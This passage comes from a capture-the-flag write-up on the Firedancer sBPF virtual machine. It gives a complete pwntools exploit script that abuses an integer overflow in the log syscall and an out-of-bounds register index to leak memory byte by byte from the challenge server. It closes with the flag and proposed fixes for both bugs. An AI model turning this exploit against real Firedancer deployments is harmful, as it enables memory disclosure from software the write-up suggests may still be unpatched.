The log syscall consumes a maximum of msg_len and vm_compute_budget.syscall_base_cost compute units. Clearly, when we set msg_len = 0xfffffffffffffff earlier, this resulted in a complete draining of the compute meter. Consequently, the VM triggers an interp_fault and halts execution. Thankfully, the fix is simple: simply reduce msg_len so that it leaves excess compute units in the VM, but such that it is still large enough to cause an integer overflow to pass the translation function checks.

And with that, we can wrap up our exploit script.

➤ Hide/show code 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168

from pwn import *
fn = "./chal"
elf = ELF(fn, checksec=False)
context.binary = elf

# /* Opcode classes */
FD_SBPF_OPCODE_CLASS_LD    =0x0
FD_SBPF_OPCODE_CLASS_LDX   =0x1
FD_SBPF_OPCODE_CLASS_ST    =0x2
FD_SBPF_OPCODE_CLASS_STX   =0x3
FD_SBPF_OPCODE_CLASS_ALU   =0x4
FD_SBPF_OPCODE_CLASS_JMP   =0x5
FD_SBPF_OPCODE_CLASS_JMP32 =0x6
FD_SBPF_OPCODE_CLASS_ALU64 =0x7

# /* Source modes (only ALU, JMP, and ALU64 opcodes) */
FD_SBPF_OPCODE_SOURCE_MODE_NO_SOURCE =0x0
FD_SBPF_OPCODE_SOURCE_MODE_UNARY_IMM =0x0
FD_SBPF_OPCODE_SOURCE_MODE_UNARY_REG =0x0
FD_SBPF_OPCODE_SOURCE_MODE_IMM       =0x0
FD_SBPF_OPCODE_SOURCE_MODE_REG       =0x1

FD_SBPF_OPCODE_END_MODE_HOST_TO_LE =0x0
FD_SBPF_OPCODE_END_MODE_HOST_TO_BE =0x1

# /* Size modes (only LD, LDX, ST, and STX opcodes) */
FD_SBPF_OPCODE_SIZE_MODE_WORD =0x0
FD_SBPF_OPCODE_SIZE_MODE_HALF =0x1
FD_SBPF_OPCODE_SIZE_MODE_BYTE =0x2
FD_SBPF_OPCODE_SIZE_MODE_DOUB =0x3

FD_SBPF_OPCODE_ALU_OP_MODE_ADD   =0x0
FD_SBPF_OPCODE_ALU_OP_MODE_SUB   =0x1
FD_SBPF_OPCODE_ALU_OP_MODE_MUL   =0x2
FD_SBPF_OPCODE_ALU_OP_MODE_DIV   =0x3
FD_SBPF_OPCODE_ALU_OP_MODE_OR    =0x4
FD_SBPF_OPCODE_ALU_OP_MODE_AND   =0x5
FD_SBPF_OPCODE_ALU_OP_MODE_LSH   =0x6
FD_SBPF_OPCODE_ALU_OP_MODE_RSH   =0x7
FD_SBPF_OPCODE_ALU_OP_MODE_NEG   =0x8
FD_SBPF_OPCODE_ALU_OP_MODE_MOD   =0x9
FD_SBPF_OPCODE_ALU_OP_MODE_XOR   =0xA
FD_SBPF_OPCODE_ALU_OP_MODE_MOV   =0xB
FD_SBPF_OPCODE_ALU_OP_MODE_ARSH  =0xC
FD_SBPF_OPCODE_ALU_OP_MODE_END   =0xD

FD_SBPF_OPCODE_JMP_OP_MODE_JA    =0x0
FD_SBPF_OPCODE_JMP_OP_MODE_JEQ   =0x1
FD_SBPF_OPCODE_JMP_OP_MODE_JGT   =0x2
FD_SBPF_OPCODE_JMP_OP_MODE_JGE   =0x3
FD_SBPF_OPCODE_JMP_OP_MODE_JSET  =0x4
FD_SBPF_OPCODE_JMP_OP_MODE_JNE   =0x5
FD_SBPF_OPCODE_JMP_OP_MODE_JSGT  =0x6
FD_SBPF_OPCODE_JMP_OP_MODE_JSGE  =0x7
FD_SBPF_OPCODE_JMP_OP_MODE_CALL  =0x8
FD_SBPF_OPCODE_JMP_OP_MODE_EXIT  =0x9
FD_SBPF_OPCODE_JMP_OP_MODE_JLT   =0xA
FD_SBPF_OPCODE_JMP_OP_MODE_JLE   =0xB
FD_SBPF_OPCODE_JMP_OP_MODE_JSLT  =0xC
FD_SBPF_OPCODE_JMP_OP_MODE_JSLE  =0xD

FD_SBPF_OPCODE_ADDR_MODE_IMM   =0x0
FD_SBPF_OPCODE_ADDR_MODE_ABS   =0x1
FD_SBPF_OPCODE_ADDR_MODE_IND   =0x2
FD_SBPF_OPCODE_ADDR_MODE_MEM   =0x3
FD_SBPF_OPCODE_ADDR_MODE_LEN   =0x4
FD_SBPF_OPCODE_ADDR_MODE_MSH   =0x5
FD_SBPF_OPCODE_ADDR_MODE_XADD  =0x6

FD_SBPF_DEFINE_NORM_INSTR = lambda cls,mode,src: ((cls) | (mode << 4) | (src << 3))
FD_SBPF_DEFINE_MEM_INSTR = lambda cls,addr_mode,sz: ((cls) | (addr_mode << 5) | (sz << 3))

FD_BPF_OP_JNE_IMM = 0x55
FD_BPF_OP_AND64_IMM = 0x57

def pack_opcode(op):
    return p8(op)

def pack_instruction(op, dst, src, off, val) -> bytes:
    return pack_opcode(op) + p8(dst + (src << 4)) + p16(off) + p32(val)

FD_SBPF_INSTR = pack_instruction

FD_SBPF_OP_EXIT = FD_SBPF_DEFINE_NORM_INSTR(FD_SBPF_OPCODE_CLASS_JMP, FD_SBPF_OPCODE_JMP_OP_MODE_EXIT, FD_SBPF_OPCODE_SOURCE_MODE_NO_SOURCE)
FD_SBPF_OP_CALL_IMM = 0x85
FD_SBPF_OP_MOV64_IMM = 0xb7
FD_SBPF_OP_MOV = 0xb4
FD_SBPF_OP_LSH64_IMM = 0x67
FD_SBPF_OP_ADD64_IMM = 0x07
FD_SBPF_OP_SUB64_IMM = 0x17

import mmh3
def syscall(name: str):
    hash = mmh3.hash(name, signed=False)
    p = b""
    p += FD_SBPF_INSTR(FD_SBPF_OP_CALL_IMM, 0, 0, 0, hash)
    return p

addr_types = {"program": 1, "stack": 2, "heap": 3, "input": 4}

def setreg_real(reg_num: int, prefix: int, offset: int):
    p = b""
    p += p8(FD_SBPF_OP_MOV64_IMM) + p8(reg_num) + p16(0x0) + p32(prefix)
    p += p8(FD_SBPF_OP_LSH64_IMM) + p8(reg_num) + p16(0x0) + p32(32)
    p += p8(FD_SBPF_OP_ADD64_IMM) + p8(reg_num) + p16(0x0) + p32(offset)
    return p

def setreg_sub(reg_num: int, amt: int):
    p = b""
    p += p8(FD_SBPF_OP_MOV64_IMM) + p8(reg_num) + p16(0x0) + p32(0)
    p += p8(FD_SBPF_OP_SUB64_IMM) + p8(reg_num) + p16(0x0) + p32(amt)
    return p

import string
alphabet = "_"+ string.ascii_lowercase + "".join([str(x) for x in range(10)]) + string.ascii_uppercase + "!@#$%^&*()[]{}. ,-+=~"
answer = ""

while not answer.endswith('}') and len(answer) < 128:  # answer is the recovered flag so far
    for letter in alphabet:  # brute-force across all characters in alphabet
        p = remote("chal.amt.rs", 1340)
        sla = lambda x, y: p.sendlineafter(x, y)
        num_to_bytes = lambda x: str(x).encode("ascii")

        payload = b""
        # base_addr is which heap offset we are brute-forcing now
        # which is the flag offset (0x1337) plus the length of the recovered flag so far
        base_addr = 0x1337 + len(answer)

        # set register 1 to the base_addr
        payload += setreg_real(1, addr_types["heap"], base_addr)
        # set register 2 to -0xfff
        payload += setreg_sub(2, 0xfff)  # can't be too large or compute power goes wonk
        # make the syscall (msg_vm_addr = base_addr, msg_len = ~0xfff)
        payload += syscall("sol_log_")
        # now, the contents at base_addr is loaded into the log buffer
        # i.e. log_buffer[0] = target byte for brute-force

        # the next few operations target register 13, which is the OOB index into the log buffer
        # this performs an AND on the first 8 bytes of the buffer, zeroing all but the LSB
        payload += FD_SBPF_INSTR(FD_BPF_OP_AND64_IMM, 13, 0, 0, 0xff)
        # then, we perform a JNE (jump not equal) on the contents of register 13
        # this is equivalent to: if reg[13] != val, then jmp(off), else continue
        payload += FD_SBPF_INSTR(FD_BPF_OP_JNE_IMM, 13, 0, off=0x50, val=ord(letter))
        # at this point, if the LSB (our target byte) is not equal to our brute-force attempt's letter
        # the VM will jump forward by 0x50 instructions, which is invalid, crashing the program
        
        # conversely, if our brute-force attempt's letter is a match, the next instruction is run instead
        # this exits the VM gracefully, causing the challenge function to print "done" before returning
        payload += FD_SBPF_INSTR(FD_SBPF_OP_EXIT, 0, 0, 0, 0)

        sla(b"program size:", num_to_bytes(len(payload)+8))
        sla(b"program:", payload+b"\x00"*8)
        sla(b"instruction count: ", b"0")

        done = False
        try:
            p.recvuntil(b"done: 0")  # this is our oracle for whether our brute-force attempt is correct
            print(f"correct char {letter}")
            done = True
        except:
            pass

        p.close()

        if done:
            answer += letter
            print(f"{answer=}")
            break

Many of the function and variable definitions are adapted from the Firedancer VM source code.

Flag: amateursCTF{why_not_just_rewrite_everything_in_c}

Remarks

I really enjoyed this challenge. Kudos to the author unvariant for creating a challenge utilizing such a novel environment and undocumented vulnerabilities. At the same time, I’m not sure if the Firedancer team is aware of these vulnerabilities. Personally, I think that both vulnerabilities can be fixed as follows. I’m not an expert on the Firedancer VM, so I’d be happy to hear if/why these mitigations will not work.

Register OOB mitigation

Change the register file to a buffer with 16 elements, from the 11 elements it currently holds. This doesn’t seem to have much cost, speed-wise and space-wise, to the VM. Alternatively, the fd_vm_context_validate function can also check that all instructions utilise valid registers before VM execution begins. This is as opposed to performing a check in every instruction that uses a register, which would incur some runtime performance costs.

Log unrestricted read mitigation

In all instances of the code that currently employ an unsanitised usage of the translation function fd_vm_translate_vm_to_host_const, use a safer function instead. For instance, the log syscall allows the user to directly pass the length argument to the translation function as established above:

1
2
3
4
5
6
7
8
9
10
11
12
13

ulong
fd_vm_syscall_sol_log(
    void *  _ctx,
    ulong   msg_vm_addr,
    ulong   msg_len,
) {
  fd_vm_exec_context_t * ctx = (fd_vm_exec_context_t *) _ctx;
  ulong err = fd_vm_consume_compute_meter( ctx, fd_ulong_max(msg_len, vm_compute_budget.syscall_base_cost) );
  if ( FD_UNLIKELY( err ) ) return err;

  void const * msg_host_addr = // * unchecked msg_len, obtained directly from the user-supplied register
      fd_vm_translate_vm_to_host_const( ctx, msg_vm_addr, msg_len, alignof(uchar) ); 
[...]

A safer version of the translation function which checks for integer overflow, for example fd_vm_translate_vm_to_host_const_chk should be added. In such instances of usage with unchecked parameters, the safe version should be used instead.

On the other hand, when the parameters to the translation function are known and guaranteed not to cause overflows, the translation function without checks can be used instead. As an example, the instructions that read from an address read a specific number of bytes depending on the instruction (byte/word/dword/qword). In this case, an integer overflow is known to be impossible at compile-time and so they do not need to use the checked translation function. This arrangement minimises performance cost.